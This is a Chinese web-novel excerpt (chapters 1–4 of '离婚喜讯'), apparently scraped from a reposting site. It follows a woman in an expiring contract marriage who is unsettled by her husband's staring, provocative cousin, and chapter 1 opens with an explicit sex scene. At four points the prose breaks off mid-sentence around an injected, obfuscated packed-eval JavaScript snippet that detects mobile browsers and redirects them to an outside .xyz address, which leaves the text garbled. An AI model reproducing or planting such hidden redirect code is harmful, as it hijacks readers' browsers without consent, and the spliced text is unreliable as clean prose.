《离婚喜讯》
1. 注视
《离婚喜讯》
文/穿林听风
2025.8.28首发于晋江文学城
“老公……”
尤伽低音连连,双唇湿润,在月色浸溺下泛着盈光。
她舌尖微动,随即听到几声略显粗重的呼吸,指骨分明的手也稍稍加重了力气。
指尖温热。
褚铎的手掌常年平滑而干燥,指甲平整干净,从不会划伤尤伽。
除了全程寡言,尤伽觉得他算得上与自己最合拍的人。
薄汗湿热,尤伽不自觉地仰起些头,勾着褚铎的胳膊也虚虚无力地掉落在床上。她无力去掀眼皮,只模糊听到耳边响起拉开抽屉又关上的声音。
不多时,她感觉耳垂被捏了捏。短暂离开一会儿的褚铎手心温度已经降下去些,触到尤伽时,她忍不住起了层鸡皮疙瘩。
他十分耐心,四处游走,下一刻,尤伽骤然放大了双瞳,控制不住地颤抖,分不清是从鼻腔还是齿缝间倾泻出的绵长气音,随着生理性泪水一同流了个尽。
褚铎起身,抽过纸巾擦拭唇边,娴熟拆开方才从抽屉里拿的小包装袋,又俯身去亲她。
尤伽算是知道什么是小别胜新婚了。
因为褚铎出差,两人禁欲小两个月,今天一回来,他连晚饭都没看一眼,就拽着她进了浴室。
大部分情况下,褚铎都是很克制的,尤伽还总埋怨他太讲礼节,失了趣味。但今夜两人一路从浴缸缠绵到床上,身上的人仿佛不知疲惫,勤勤恳恳,孜孜不倦。
当然,每结束一个阶段,褚铎还是会问她的意见。
“还可以继续吗?”
这是他说过唯一的话。
又一次思绪抽空,尤伽连细微气声都有些勉强。
她蜷在宽大的双人床中央,胳膊环着枕头。睫毛上沾了水汽,闭着眼睛的时候,蹭得眼下一片湿润。
褚铎终于起身,将杂物拾好,又拿来热毛巾,帮一动也不想动的尤伽简单擦拭身体。
尤伽享受着他的售后,眼皮愈发沉重,当真有些昏昏欲睡。
一阵震动响起。
手机似乎是放在了硬质的柜上,与柜子高频次的触碰让声音放大了数倍,尤伽陡然惊醒。
没有开灯的卧室里,只有月光铺洒。
褚铎很迅速地拿起手机,没有看来电人就直接挂断。走到离床较远的落地窗边,他才按亮屏幕,拇指轻划,回拨回去。
他只披了件浴袍,墨色在月下泛光,垂入更深的黑暗。
尤伽已经彻底清醒了,她没有动,饶有兴趣地盯着褚铎背影。
不算简短的通话,褚铎只道了几句。
“嗯,小姨,我知道。”
“我了解了,但我需要问一下小伽的意见。”
“她有顾虑的话,我可能没办法答应您。”
“好,我尽快给您答复。”
挂断之后,他又翻阅了一下其他消息,确认没有需要立刻回复的内容之后,才转回身。
尤伽右手撑着头,靠在床边似笑非笑地看他。
“醒了?”褚铎几步走回床前,按下墙上的触摸开关,灯带的柔和黄光亮起,“是不是吵到你了。”
“没有,本来也没睡熟。”
尤伽起身,双腿交叠在一侧,半跪坐着,手向后撑着床看他。
“什么事需要问我的意见?”
褚铎顿了一下,简洁道:“小姨想让乐绮到我们家住一段时间。”
“乐绮?你那个表弟?他不是上大学呢吗?”
尤伽听说过这位少爷,褚铎的小姨——乐氏集团掌权人乐明笙的独子,性格顽劣,不服管教,远近闻名。
当年乐明笙忙于工作疏忽了他,本以为他会如她所愿考取国内TOP2的经济类专业,谁知乐小少爷自己偷偷申请了伯克利,直到儿子要去上大学了她才知道,气得她差点跟他断绝关系。
也是因此,大学期间乐绮都没有回过国,不知道是不敢回,还是终于解放了不舍得回,总之尤伽和褚铎结婚两年,对这位离经叛道的小少爷都只有耳闻,从未见过真人。
“五月份毕业之后就回首城了,最近又和小姨吵了架,小姨把他赶了出来。”
“赶出来了为什么要来我们家?”
“小姨停了他所有卡,全国酒店禁止他入住,护照也扣了。”
褚铎显然也不太理解乐明笙的做法,所以只是机械地对尤伽叙述:“但给他留了后路,把他支到我这里来让我管管他,顺便学学管理。”
尤伽“哦”了声,颔首应和一句:“管孩子真难。”
“如果你不愿意,我可以找其他空房给他住,小姨那边,我去回绝。”
尤伽不想插手他们的家事,闻言,几乎没有犹豫地笑道:“我没关系啊,乐总既然让他来,肯定是希望他能在你眼皮子底下待着嘛,让他出去住,谁还管得住呀。”
褚铎沉默的间隙更长了一些,不知道在想什么。
尤伽并未注意到他的变化,随口补充:“再说下个月就到协议期限了,这是你的房子,我们离婚之后,我更无权干涉你让谁住了。”
灯带散出蒙蒙昏黄,没有边线和棱角,被寂寂深夜吞噬掉大半,只剩最浅淡的光亮笼罩在尤伽脸上,映出不明显的睫毛阴影。
她的笑容也被融掉了一些,但褚铎依旧能看到她浅浅勾起的嘴角,随意又轻松。
他目光幽沉,居高临下地望她片刻。
最终,点了点头。
“好。”
尤伽坐在床上,视线正前方是褚铎近在咫尺的腹肌。
他方才起身匆忙,腰带完全没系,此刻衣襟大敞,内里风光一览无遗。
说完那些不相干的事,尤伽的思绪又集中回眼前这具完美的胴体上。
她暗自舔舐了下些许干裂的唇角,跪立起身,双臂环住他腰,两指在他身后勾结。
“老公。”
她甜美地诱惑。
褚铎一目了然。
“还想吗?”他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316678|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
单手摩挲尤伽的眼角,声线低沉,掺了些哑涩,“休息好了?”
尤伽眨了两下眼睛,点头:“快离婚了,要珍惜机会啊。”
褚铎的眼神暗了一瞬,转而燃起不明火光。
那火势凶猛,要将尤伽生吞了似的。
他擒住尤伽两腕,骤然将她扑倒。
尤伽轻声惊呼。
长夜难眠。
-
两天后,那位被赶出家门的少爷如约上门了。
褚铎提前知会过尤伽,她稍微准备了下,难得换上一身淡色连衣长裙,泼墨黑发在颈后挽起,简约珍珠配饰点缀,温婉大方。
她想毕竟是褚铎的弟弟,第一次见面即使不算太正式,也至少该扮演一个亲切的长嫂人设。
站在褚铎身侧,佣人拉开大门的那一刻,尤伽挂上最亲和的笑容,目光温柔往门外望去。
右眼皮忽然跳了跳。
她忍不住挑了下眉。
门外的人宽松半袖与工装裤着身,短发清爽,胳膊搭在拉起的行李箱把手上,身子斜倚,懒散又张扬。
不愧是流着同一支血脉,乐绮本人比照片还要帅上数倍,是尤伽唯一见过能与褚铎比个上下的一张脸。
尤其是那双与褚铎如出一辙的桃花眼,眼眶深邃,瞳仁黑亮,眼神却比褚铎明亮许多,眼尾微微上扬,染了笑意。
在这沉闷庭院中无疑如不速之客,突兀而格格不入。
尤伽下意识瞧了褚铎一眼,他脸上仍是常年的淡漠疏离,喜怒难辨。
“进来吧。”
褚铎侧身让出位置,然后便转身往里走。
尤伽不知道褚铎和他这位弟弟的关系如何,是亲近还是疏远,所以很识趣地在一旁瞄着褚铎眼色。她见他与乐绮毫无寒暄,丝毫不像四年未见的人,心里下了一个没用的定论。
要么很熟,要么完全不熟。
于是她依旧采取保守原则,很和善地跟了句:“路上辛苦了,东西给他们就好。”
接着就跟上了褚铎。
只是她莫名觉得有哪里不太对劲。
背对着乐绮,尤伽笑容自然也就不再僵挂着,一边走,一边思考。
哪里不对呢?
她又说不上来。
一阵穿堂风过,撞在尤伽后背。
她绷了下身体,忽然感觉身后似乎紧紧贴着一道视线。
像戳破了腐烂的浆果,湿滑粘腻,在空气中散发出诡异的腥甜。
她下意识回过头去。
脚下一顿。
径直对上一双明目张胆笑着的眼睛。
尤伽觉得有些冷,大概是路过了空调风口。
她回过身,加快步子,挨得褚铎更近了些。
好像知道是哪里不对了。
乐绮从开门开始,眼神就没有落在过别的地方。
他一直在看她。
他只看她。
目不转睛、毫不遮掩地——
赤/裸/裸地看她。
2. 亲近
桌上是一早准备好的饭菜。
尤伽洗过手后便回到餐厅,与褚铎坐在同一边。乐绮进屋后说要借用洗手间,所以比他们慢了一些,尤伽坐了一会儿,还不见他过来。
她想起方才那道目光,手指无意识磋磨面前的瓷盘边缘,若有所思。
“褚铎,你弟弟性格怎么样?”
褚铎的餐桌礼仪很严格,不会把手机带到饭桌上来,也不会在人到齐前动筷,所以此时正端坐在座位上。听到尤伽的问题,他眼神微动,没有急着回答。
“嫂子对我这么感兴趣?”
没等到褚铎的答案,却等来乐绮的声音在尤伽身后响起。语气轻快,尾音笑意满满。
尤伽两指骤松,微微转动的盘子停了下来。
她还未接话,乐绮已经走到了桌边,又道了一句:
“不如直接来问我。”
那道视线又回来了。
这次是正面的、直接的,从头顶落下。
尤伽扬眉,收回了原本的话,抬头迎上他目光,不偏不倚,荡着水似的,没有攻击性。
“初次见面,想多了解你一些。不过弟弟这么开朗,应该是很好相处的,日后我有什么做得不周到,还望弟弟多多包涵。”
乐绮站在原地与她对视了一会儿。
尤伽唇角始终挂着礼貌又随和的浅笑,他不动,她也就不动,视线一上一下交错在一起。
“吃饭吧。”
褚铎打破了僵局。
乐绮挪开视线,往餐桌对面走去。
这个餐厅是尤伽和褚铎日常用得最多的一间,挨着厨房,面积偏小,只有一张六人桌。褚铎坐在左侧首位,尤伽坐在他旁边,乐绮的餐具则摆在褚铎对面。
为了等乐绮,今天午饭推迟了一个多小时,尤伽很早就饿了,这会儿终于能稍稍松开绷着劲的背,弯下腰放松。
她低头整理着餐具,只等乐绮落座。
却不期然听到自己对面拉开椅子的声音。
她抬头,发现乐绮坐在了她对面,一边笑着看她,一边把旁边的餐具都挪过来。
“我也想与嫂子亲近些,毕竟是初次见面。”他似乎把最后几个字念得很重,说完,又偏头看向褚铎,“哥,你不介意吧?”
尤伽也看向褚铎。
他眼神依旧冷淡,在乐绮身上停留数秒。
片刻冷声。
“不介意。动筷吧。”
得了应允,乐绮的眼睛连带眉毛都弯了弯,眼神再次回到尤伽身上。
“小绮,二楼给你收拾出一间客房,没有人住过,东西已经搬进去了,一会儿我找人带你过去。”
褚铎说话的时候,正将盘中牛排切成几乎同等大小的小块,切好后放下刀叉,将尤伽面前的一整块换了过来。
“没事,我住哪里都可以。那嫂子呢,住在几楼?”
尤伽叉下一块牛排还没放到嘴里,就又听乐绮提到她。
她看着即将入口的牛排顿了一会儿,心中微叹,放下叉子抬起头。
“我住在……”
“我们的卧室在三楼。你要是找我的话,去二楼书房,尽量不要去三楼。”
褚铎打断了尤伽的话,她听完,抿了抿唇,终于将方才那块牛排塞到嘴里。
其实她的房间在褚铎的主卧旁边,不过他说的也没错,确实都是在三楼。外界不清楚他们合约夫妻的事实,没必要和乐绮解释得太清楚。
只是乐绮的问题,总让她感觉有些冒犯。
他问“她”住在几楼,而不是“他们”。
这似乎不是小叔子见嫂子第一面该问的问题。
慢条斯理咽下东西,尤伽喝了口水,眼神轻飘飘落到乐绮身上。
“是的,弟弟在家里随意些就好,我平时都在三楼,应该也不常碰面,你不必拘谨,就当是自己家。”
“真的吗?那我就不客气了。要是不小心动了什么不该动的,哥,你可别怪我。”
乐绮直接拿筷子把盘中牛排捣烂,然后用一根筷子叉起一块,送到嘴里。
尤伽撇开了目光,手心渐凉。
她轻轻拨开煮到过分软烂的西兰花,叉尖划过瓷盘,细微刺耳。
“你嫂子的东西不要动,其他的,随你。”
褚铎接上他的话,结束了这个话题。
饭菜似乎不合乐绮口味,除了那块牛排,其他的他几乎都没怎么动。
席间沉默下来,只剩餐具触碰的声音。
午餐过半,褚铎才又开口。
“小绮,这段时间你在我这里,做什么我不干涉,但小姨的意思,是想让你跟我到公司看看。如果你有兴趣,我可以给你设个临时岗位,积攒些经验,对你以后接手乐氏也有好处。”
“哥,褚家就是因为把你当乐家人,你挤进褚氏才那么费劲,你再把我带进去,褚家那几个老头不得疯啊?”
尤伽听到这话,心里咯噔,咀嚼的嘴都不自觉停了。
这个话题算是褚铎的禁忌,还没见过谁这样直白不讳地说出来。
褚铎的父母结婚时,乐家只是个名不见经传的小企业,而褚氏根基深厚,长辈们坚决不同意这门婚事。褚铎父亲硬娶乐明瑟进门后,褚家就放弃了这一脉,早早把继承人定为褚铎的堂哥,甚至家中长辈几次扬言绝不让褚铎进入褚氏。
又偏偏乐明瑟自小羸弱多病,褚铎还没上高中就去世了,自此之后褚铎彻底失去庇佑,连父亲都将自己与褚家离析怪罪于他们母子,日渐与他疏远。
褚铎夺权的过程不怎么光彩,乐家此时早已与褚氏齐高,褚家防褚铎比防外贼还严,但奈何他们自己选的继承人被养成了个废物,被褚铎亲手送进监狱。之后,他选择与尤氏联姻,添了一支强势助力,才坐到今天的位置。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316679|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>尤伽几乎不会在褚铎面前提及他的过去,毕竟这是他的伤疤。
乐绮更应该清楚才是。
“褚氏现在,是我掌权。”褚铎的声音更沉了些,但似乎没有生气,“我也确实是乐家人。”
乐绮恍然大悟:“差点忘了,还没有恭喜你呢,哥。褚尤两家当年那笔大单子我在国外也听说了,嫂子,你真是帮了我哥大忙。”
他的语气听着真诚了许多,尤伽抬眸嫣然,拿过餐巾擦拭嘴角:“生意嘛,都是互惠互利的。”
不给乐绮说下一句话的机会,她接着转头对褚铎道:“老公,我下午还有个会,你们慢慢吃,我先去公司了。”
褚铎放下筷子,也看向她,微微颔首。
后撤椅子,尤伽很快起身离开。
直到她走远,都没有再听到乐绮的声音。
但那道嵌在身上的目光仿佛还在背后,尤伽拐出他们的视线范围后,忍不住打了个寒颤。
她下意识加紧步子,往卧室去换衣服。
-
尤伽换上了一贯的风格,吊带红色长裙盖膝,外搭镂空开衫,长发也放了下来,发尾蜷曲,披散在肩后,衬出白皙优美的颈线。
她简单拾掇了下便下楼。
电梯门在一楼打开,尤伽抬眼,迈出的半步僵了僵。
乐绮站在一层到二层楼梯中间,身子松松散散,靠着扶手,正好整以暇地看她。
他的视线从一出现就是望着电梯的方向,尤伽生出一种他是在特意等她的错觉。
正午光线穿透几净玻璃,阴影轮廓浮动在他身前,越过了最后一节台阶的边线。
尤伽定神,走前两步,鞋尖踩住一点影子边缘。
面色和善。
“小绮,这么快就吃完了吗?”
乐绮站直了身子,双手随意插在兜里,背仍旧松垮着,慢悠悠地走下楼梯。
人影逐渐穿过她身体。
“你还是穿红裙好看。”
“……?”
这句话如针刺般贯穿了尤伽的神经,她头皮微麻,攥紧手提包的带子,目光渐深,紧盯着离自己越来越近的乐绮。
“你……”
“小伽,我正好出去,需要我送你吗?顺路。”
褚铎突然出现在客厅,打断了尤伽的话。
尤伽的情绪被他冷静的语气压下去些。
她定定望了乐绮一眼,转身朝褚铎走去。
“好。”
褚铎没有看乐绮,在尤伽靠近后,接过她手里的包,又揽过她腰,与她一齐往门外走。
身后,乐绮停住了步子。
嘴角弧度消失殆尽,迎着灼目日光,他眯起眼睛,神色闪过晦暗。
抬起手,伸出拇指和食指,慢慢将走远的尤伽框在两指间。
冷笑一声,半空的手突然攥紧。
像要捏碎什么。
3. 越界
“去哪里?”
褚铎将车驶出院门后,问道。
尤伽惊讶:“你知道我不是去公司?”
“猜的。”
尤伽扭头望他一眼,轻笑:“我约了律师谈离婚协议的事情,你把我送到雾蓝大厦就好。”
搭在方向盘上的手指微微回扣,指节更凸出了些。
语气依旧平淡。
“抱歉,最近公司事情有点多,让你费心了。”
“跟我客气什么。”
车开到红灯前停下,褚铎松开握紧的手,撑在窗边,偏头。
“还有一件事要向你道歉。乐绮是不是有些冒犯到你了,他性格如此,你如果介意,我另给他找地方住吧。”
尤伽一顿,抬头去看他。
思量片刻,她将吐槽的话咽了回去,缓声:“没有,你别多心。”
绿灯跳跃,缓缓起步。
车内浮动着沉抑的香,空调风口朝上,冷风扫过,直窜入鼻腔。
尤伽见褚铎没有再接话,就当这个话题过去了,拿出手机给律师发消息。
却没想到在下一个红灯处又听到他的声音。
“小伽,你原来见过乐绮吗?”
“没有啊,怎么这么问?”
尤伽脱口而出,眼睛始终落在屏幕上,手指飞快地打字。
“没什么。”褚铎食指轻敲,淡声,“他今天有些奇怪。”
“可能是你们太多年没见了吧,国外风土人情与咱们不同,他待久了,难免耳濡目染。”
闻言,褚铎点了点头,不再说什么,拐入另一条车道。
-
从雾蓝大厦出来,已经接近下午五点。
夏季天长,此刻太阳正当头,灼热光线犹如倒刺划过尤伽小臂,她往后退了退,站在大楼阴影下。
因为乐绮,尤伽中午没怎么好好吃饭,此时已经有些饿。看看时间,她给徐苓打去电话。
不一会儿,一辆银灰色兰博基尼在楼前停下,尤伽上车后,又很快消失在车流。
两人去了一家会员制的粤菜馆,尤伽是这里常客,没有看菜单,直接让服务生按着她一贯口味上菜。
席间,她闲聊起最近琐事,随口提到了乐绮。
“啊?他真这样?”
徐苓一边往嘴里塞菜,一边睁大了眼睛听。
“对啊,奇怪吧?”
“太奇怪了。”徐苓狠狠点头,下了定论,“他们家怎么盛产非正常人类啊。”
“说他就说他,带褚铎干什么,人家挺正常的。”
“他还正常啊?我就没见过比他更冷冰冰的人。伽伽,我问你,褚铎会笑吗?”
“唔……也是会的。”
虽然确实次数不多。
“得了吧,他也就跟你笑笑,但凡有第三个人在,他都不可能扬起他那个尊贵的嘴唇。就你们婚礼那录像,简直惨不忍睹,哪有新郎念誓词的时候都板着一张脸啊?”
尤伽想起当天场景,“嘶”了一声,为褚铎辩解。
“也不能怪他,你也知道,办婚礼前我们一共只见了两次,还指望他能高兴到哪去。”
“你就替他说话吧,不知道的以为你多喜欢他呢。”
徐苓的眼睛从白切鸡越到了叉烧包,筷子一刻不闲着,还能分心八卦。见尤伽不说话,她锲而不舍地追问:
“哎,伽伽,都结婚两年了,你就没对他动过心?”
“谁会对一个冰块动心啊。”
“那你还对他这么好。”
“礼尚往来罢了。结婚前答应我的他都未食言,婚后我干什么他也不干涉,我已经很满意了。这婚结都结了,两个人和和气气的总比守活寡强吧。”
“嚯,这说的倒是,看出来褚铎没让你守活寡了。”徐苓啧啧两声,语气揶揄,“之前去几个局,好些弟弟来问我,尤伽姐姐怎么好久不来了,那一个两个,跟失宠的妃子似的。”
尤伽回忆起自己婚前的快活日子,咬下一口烧鹅,有些索然无味。
“不行,我得坚持住,不能给我俩惹麻烦。”她暗暗掐了下手心,把自己从幻想中拽回来,又小声补充了一句,“至少离婚前不行。”
“快离了吧?”
“嗯,下个月就是结婚两周年,协议拟得差不多了。”
“哎,既然这样,你要是觉得他那个弟弟烦,不然就提前搬出来?”
“算了,我最近公司事情多,没时间。”尤伽夹了两根青菜,放在碗里狠戳了两下,“也可能是我想多了。”
“会不会是你们之前见过,有过什么不愉快啊。”
“你怎么也这么问?我要是见过他,就他这个级别的脸,我能没印象吗?”
徐苓想着尤伽刚才给她看的照片,也觉得颇有道理:“那倒是。他们家基因真好,这哥俩一个赛一个地美艳。”
“再美也是一个冰块一个神经病。”
尤伽没好气地吐槽,把戳成四瓣的青菜埋在饭里。
-
后面几日,尤伽基本都在公司忙,回了家也是直接上三楼卧室,倒是没有和乐绮碰上几面。
可她总有种被人监视的感觉。
背后那道视线阴魂不散的,等她回过头去,又什么都没有。
尤伽觉得不自在,闲暇时,随口找家里做事的人问了几句。
阿姨说乐绮这几天基本都在自己卧室待着,除了吃饭,几乎谁都见不到他,也不知道他平时几点起、几点睡,就是偶尔从房间里传来一些乐器声。
厨师听到她们聊天,也过来插了几句嘴。他说乐绮口味稍重,偏爱北方菜,但褚铎口味清淡,偏好江南菜系,所以家里的厨师都是做南方菜拿手,导致乐绮一直吃得很少,不过他倒是没抱怨过,也没要求厨师单独给他做。
聊了一圈没什么有用信息,所有人对他的评价都是没什么特别,还觉得他事少、不麻烦人,挺好相处。
尤伽觉得可能确实是自己有些敏感,索性将疑虑暂置脑后。
周末,尤伽难得睡到自然醒,悠闲晃到客厅,坐在沙发上,拿甜点当早餐吃。
一块马卡龙才咬下一半,她忽然感觉背后一凉,有什么东西黏上来了似的。
尤伽定了定神,放下手里的东西。
尽量心平气和地转过身,她对上乐绮那道灼人的视线。
“小绮,有事吗?”
乐绮站在离她不远的地方,单手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316680|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
插着兜,歪头笑笑。
“你有见到我的耳机吗?我找不到了。”
“耳机?什么样子的?”
尤伽虽然不太想理他,但碍于面子,还是站起身,装模做样地往周围看了看。
“白色的。”
“什么牌子?”
“一个不入流的杂牌子,没记住名字。”
乐绮始终跟她保持一段距离,她往前走两步,他就跟上两步,然后停在原地看她。
“是我在波士顿买的,只用过一次。”他不知道为什么开始介绍起耳机的生平来,语调不紧不慢,和缓悦耳,“花了1372美元。”
尤伽没懂他说这几句话的含义,敷衍答道:“那还挺便宜的。重要吗?我让阿姨帮忙找找。”
话音落下之后,尤伽就继续弯着身子在沙发上翻找,半晌才发现,乐绮没有声音了。
她稀奇地抬头,看到他依旧站在墙边,眼里的笑不似方才和善,反而有点像……
讥笑?
尤伽心里窜起一股无名火。
到底哪得罪他了?帮他找耳机,他还不高兴起来了。
于是她两手一甩,抱起马卡龙不再管。
“沙发这里没有,你找阿姨吧,我先回屋了。”
不等乐绮说话,尤伽头也不回地走到电梯里,忿忿回屋关上门。
再后来,她就没有出过卧室了,午饭和晚饭也是叫人送到了屋里。褚铎今天加班,要很晚才回来,她并不想跟乐绮一起吃饭。
闲来无事,她看了一些演员部发来的面试视频,读了会儿书,又刷了会儿剧,时间很快过去。
凌晨两点,尤伽被渴醒,下意识去摸床边的水,摸来喝了半天没有喝到,才发现房间里没有水了。
她坐起身,醒醒神,翻身下了床。
推开卧室的门,走廊里亮着柔和昏暗的夜灯,尤伽揉着眼睛,一边往前走,一边习惯性地回手带上门。
却突然感觉摸到一个异物。
冰凉、坚硬、光滑,就挂在她的门把手上。
尤伽心里一惊,彻底清醒过来。
她回过头去,瞪大了眼睛看,可视线久久无法适应黑暗,眼眶都泛酸了,那东西的形状才一点一点显现出来。
是一个白色耳机。
走廊尽头的窗户开了一个缝,夏夜闷热,空气凝滞,偶有夜风拂过,将将卷起尤伽的睡衣裙摆。
她想起乐绮白天说丢了的那个耳机。
尤伽拿起来,转了几下。
骤然捏紧。
不是错觉。
也不是敏感。
他在挑衅她,用这种拙劣又幼稚的把戏。
陌生物品出现在私人领地的突兀,紧绷绷缠住尤伽的心脏,拧出一些酸苦感。
她垂下手,站在原地,翻腾的视线凿着大理石地面,分寸不落地寻找不属于这里的气息沾染过的痕迹。
双唇紧抿,丝丝寒意入骨。
按捺于心的最后一寸防线被攻破,尤伽眼中倏地冒起火光,愈烧愈烈,在暗夜中发出脆裂的灼烧声。
一个想法在她的脑中迅速膨胀,几乎要占据她所有的思绪空间。
——他越界了。
4. 狩猎
转天午饭。
尤伽将褚铎的碗摆正,冲他笑道:“今天师傅做了很多菜。”
乐绮依旧比他们晚到了一些,十分自然地坐在尤伽对面。
褚铎眼锋扫过,在乐绮身上停了下,又收回。
尤伽像没察觉到奇怪一样,见乐绮过来,还恍然想起什么一般拍了下手,“啊”了一声。
“对了,小绮,你等一下。”
她起身走到客厅,拿出放在抽屉里的耳机,又回到餐桌,笑意盈盈地递给乐绮。
“看看,是不是你丢的那个。”
乐绮抬眼,迎上她视线,眼中漩涡渐深,似乎对她发现耳机的反应有些失望。
两道目光在空气中碰撞、交织,越缠越紧。
褚铎见两人一动不动地对视,轻提筷子,不小心磕碰到碗沿,发出一点响声。
他顾自夹着菜,冷声道:
“什么耳机?”
尤伽身子一挪,把耳机放到乐绮手边,慢步回座。
开口声音清脆:“小绮上次说找不到,结果我在卧室门口捡到了。他丢的时候就拜托我帮忙找来着,肯定是很珍贵的耳机,我这不是想着赶紧拿给他。”
褚铎手上动作一顿,面色更沉,放下筷子,直直望着神色恢复轻松的乐绮。
“你去三楼了?”
“我上去找你的,哥,但是你们家房间太多了,我好像找错了。”
说完,他转向尤伽,身子往前探了探,又道:
“嫂子,对不起啊,我不知道那是你房间,我没有进去,放心。”
乐绮嬉皮笑脸地给尤伽赔笑,尤伽自然也体贴大方地回应他。
“没关系,同住一个屋檐下,难免的。”
褚铎看了两人一眼,压下声线提醒:“下次找我,在书房等,不要去三楼。”
“记住了,哥。”乐绮的注意力似乎都在筷尖,十分有耐心地挑着盘中的菜,说出的话也就愈发显得随意,“不过哥,那是嫂子的房间吗?你和嫂子分居了吗?”
尤伽挪了挪手,按下褚铎的胳膊,替他答:“我睡眠浅,有时候你哥回来得太晚会吵醒我,所以我单独有一间卧室,就在我们主卧旁边。”
“唔……原来如此。”
“是呀,小绮,你哥就是这样,忙起来就不顾家了。”
尤伽一边用着最和善的语气说话,一边把她今天专门找厨师炒的几道菜往乐绮面前推。
任谁看了都既温柔,又贤惠。
“小绮,尝尝这几个。听说你口味重,来了以后一直跟着我们吃得清淡,没怎么吃好,我特意嘱咐师傅给你单独做了几道。”
乐绮顿了一下。
褚铎也顿了一下。
他把视线往尤伽身上移了移,落在她红而不艳的双唇,看她笑意清浅。
阳光挤过餐厅半开放的门,透进来几缕,有些刺眼。
尤伽不会细心关注这个家里与她无关的任何事,褚铎是最清楚的。他们两人相敬如宾又互不干涉地度过了两年,她连他爱吃什么菜都不知道。
筷子生硬地停在半空。
尤伽感受得到两人一冷一热的视线,交缠又消融。
她低头扒起了饭,嘴角笑容转瞬即逝。
没有再说其他。
-
尤伽不再在意身后那道寸步不离的视线。
她越坦然,越能感受到那道视线的阴冷黏滑,仿佛视线的主人已经把自己拧成了一股浸在冰水里的绳,纠结至极又无从逃脱,只能在阴暗中卑劣地越沉越深。
即将穿过客厅时,尤伽余光瞥到乐绮撑在二楼栏杆上,视线幽幽,不知道在想什么。
她停住脚步,看了看时间,随即调转方向,拐入侧边走廊。
她没有如往常一般乘坐电梯,而是从乐绮的视觉死角处,绕到了另一处楼梯。
尤伽慢悠悠地往上走,软底拖鞋踩在地毯上,静谧无声。
上至二楼,走过平台,果然看到乐绮依旧靠着栏杆的背影。
盯了一会儿,乐绮并未发现。尤伽冷笑,抬步走出阴影处。
“小绮。”
她出声,嘴角机械勾起,眼神不带丁点笑意。
乐绮一怔,停了几秒,才转过身。
“你怎么在这里。”
“这是我家呀,我怎么不能在。”
尤伽走到乐绮身边,学他的样子,身子前倾压在栏杆上。睡衣外的披肩从手臂滑落,露出洁白紧实的上臂,右手无名指上的钻戒在吊灯照射下闪出彩色光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316681|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
束,晃过眼睛,微微刺目。
她其实很少靠乐绮这么近。
方才走到他身边后,尤伽第一次清晰嗅闻到他身上的气味。
他应该是刚刚洗过澡,尤伽鼻尖卷动着清淡的薄荷香,存在感不强,大概是他沐浴露的味道。
但两次呼吸之后,她发现薄荷香下似乎还藏着另一种香气。很特别的木质香调,不显沉闷,反而多了层清透,像初雪暂歇后,被积雪压断的雪松枝桠,断裂处萦绕出沉涩木香,苦冽、清冷、干燥,丝丝入侵她的鼻腔。
应该是乐绮惯用的香水,时间久了,不免与他的气息融为一体。
多闻了几下,尤伽莫名觉得这种香气有些熟悉。
她没有多想,觉得可能是与褚铎用过的某款香水有些相似。
乐绮一直不说话,尤伽便率先开口。
“你在想什么呢?”
“没什么。”
“看你很入神的样子。”
“放空。”
“小绮,你知道雪豹捕猎吗?”
尤伽突兀地跳转了话题。
她视线垂落在一楼玄关处,语气随意而轻柔。
乐绮不知道她想说什么,没有回答也没有动作,只是盯着她的侧脸看,目光越发幽沉。
“雪豹狩猎时专注性非常高,它们能一直蛰伏在猎物周围,心跳降到极低,听觉范围也会收窄。”尤伽折起手肘,托着腮,长发随着她动作散落在肩前,“但是,警觉度也会随着专注度提升而下降。然后,没有发现危险的雪豹,就会变成狼群的猎物。”
尤伽将碎发揽到耳后,扭过脸,自下而上地看向乐绮,笑容甜美又天真。
“你说,雪豹到底是狩猎者,还是被狩猎的猎物?”
乐绮的反应在尤伽意料之内,直勾勾的视线缠黏着,似乎要将她的发梢都绞进去,却又一言不发,神情晦涩。
半晌,勾出一个轻蔑的笑来。
对视间,楼下传来声响。
